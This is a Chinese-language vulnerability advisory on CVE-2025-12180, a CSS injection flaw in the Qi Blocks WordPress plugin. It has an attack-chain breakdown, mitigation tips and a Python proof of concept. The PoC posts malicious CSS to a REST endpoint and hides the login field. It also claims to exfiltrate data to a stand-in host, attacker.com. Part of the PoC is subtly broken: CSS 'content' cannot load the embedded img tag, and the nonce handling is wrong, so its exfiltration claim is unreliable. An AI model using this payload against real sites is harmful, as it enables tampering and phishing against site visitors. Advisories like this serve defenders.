IPBUF安全漏洞报告
English
CVE-2025-12180 CVSS 4.3 中危

CVE-2025-12180 Qi Blocks WordPress插件CSS注入漏洞

披露日期: 2025-11-01

漏洞信息

漏洞编号
CVE-2025-12180
漏洞类型
CSS注入
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Qi Blocks plugin for WordPress

相关标签

CSS注入权限缺失WordPress插件Qi BlocksREST APICVE-2025-12180中危漏洞WordPress安全

漏洞概述

CVE-2025-12180是WordPress Qi Blocks插件中的一个安全漏洞,CVSS评分4.3,中危级别。该漏洞存在于插件的REST API端点`qi-blocks/v1/update-styles`中,由于`update_global_styles_callback()`函数缺少适当的权限验证和CSS样式消毒处理,导致任何具有Contributor级别或更高权限的认证用户都可以通过该API端点注入任意CSS样式。攻击者利用此漏洞可以执行多种恶意操作,包括隐藏网页内容、在页面上覆盖伪造的UI元素、或通过CSS注入技术窃取敏感信息。此漏洞影响Qi Blocks插件1.4.3及之前的所有版本,攻击复杂度低,无需用户交互即可利用,但机密性和完整性影响较低。

技术细节

该漏洞的根本原因在于Qi Blocks插件的REST API端点`qi-blocks/v1/update-styles`缺少适当的授权检查。在`update_global_styles_callback()`函数中,插件直接存储用户提交的CSS样式数据而未进行充分的消毒处理。具体来说,攻击者可以通过发送特制的POST请求到该REST API端点,在请求体中包含恶意CSS代码。由于插件未验证请求者是否具有管理全局样式的权限,且未对CSS内容进行转义或过滤,攻击者注入的任意CSS会被存储并在页面加载时执行。攻击者可以利用CSS选择器属性选择器(attribute selectors)配合URL重定向来窃取CSRF令牌等敏感信息,也可通过`:before`和`:after`伪元素配合`content`属性创建钓鱼内容,或使用`display:none`隐藏原有页面元素。该漏洞属于OWASP Top 10中的A01:2021-Broken Access Control类别。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点账户(具有Contributor级别或更高权限),或通过其他方式获取有效凭据
STEP 2
步骤2
攻击者识别目标站点使用的Qi Blocks插件版本(<=1.4.3),并确认REST API端点qi-blocks/v1/update-styles存在
STEP 3
步骤3
攻击者构造恶意CSS注入载荷,包含用于隐藏内容、覆盖UI元素或窃取敏感信息的CSS代码
STEP 4
步骤4
攻击者使用认证会话向REST API端点发送POST请求,在请求体中包含恶意CSS样式数据
STEP 5
步骤5
由于插件缺少权限验证,恶意CSS被成功存储到数据库中,绕过了授权检查
STEP 6
步骤6
当其他用户访问使用Qi Blocks的页面时,恶意CSS被执行,可能导致敏感信息泄露、钓鱼攻击或内容篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12180 PoC - CSS Injection in Qi Blocks WordPress Plugin # Target: WordPress site with Qi Blocks plugin <= 1.4.3 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" # Step 1: Authenticate and get nonce/cookies login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() # Step 2: Get REST API nonce via wp-api api_nonce_url = f"{TARGET_URL}/wp-json/wp/v2/users/me" auth_response = session.get(api_nonce_url, auth=(USERNAME, PASSWORD)) # Step 3: Inject malicious CSS via REST API endpoint inject_url = f"{TARGET_URL}/wp-json/qi-blocks/v1/update-styles" # Malicious CSS payload - CSS injection for data exfiltration malicious_css = """ body::before { content: "<img src='https://attacker.com/log?data=' attr(class) '>"; display: block; } input[name="log"] { display: none; } """ payload = { "global_styles": malicious_css, "style_id": "malicious-style-1" } headers = { "Content-Type": "application/json", "X-WP-Nonce": session.cookies.get("wp-rest") or "" } response = session.post(inject_url, json=payload, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Step 4: Verify injection (check if CSS is applied to pages) if response.status_code in [200, 201]: print("[+] CSS injection successful!") print("[+] Malicious CSS has been stored and will be rendered on pages.") else: print("[-] Injection failed. Check authentication or plugin version.")

影响范围

Qi Blocks plugin for WordPress <= 1.4.3

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 限制Contributor角色的权限,确保该角色用户无法访问REST API端点;2) 使用WordPress安全插件(如Wordfence)监控异常的API请求;3) 临时禁用Qi Blocks插件的全局样式功能;4) 加强用户注册审核,确保只有可信用户才能注册成为Contributor或更高角色;5) 实施Web应用防火墙(WAF)规则,监控和阻止针对qi-blocks/v1/update-styles端点的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表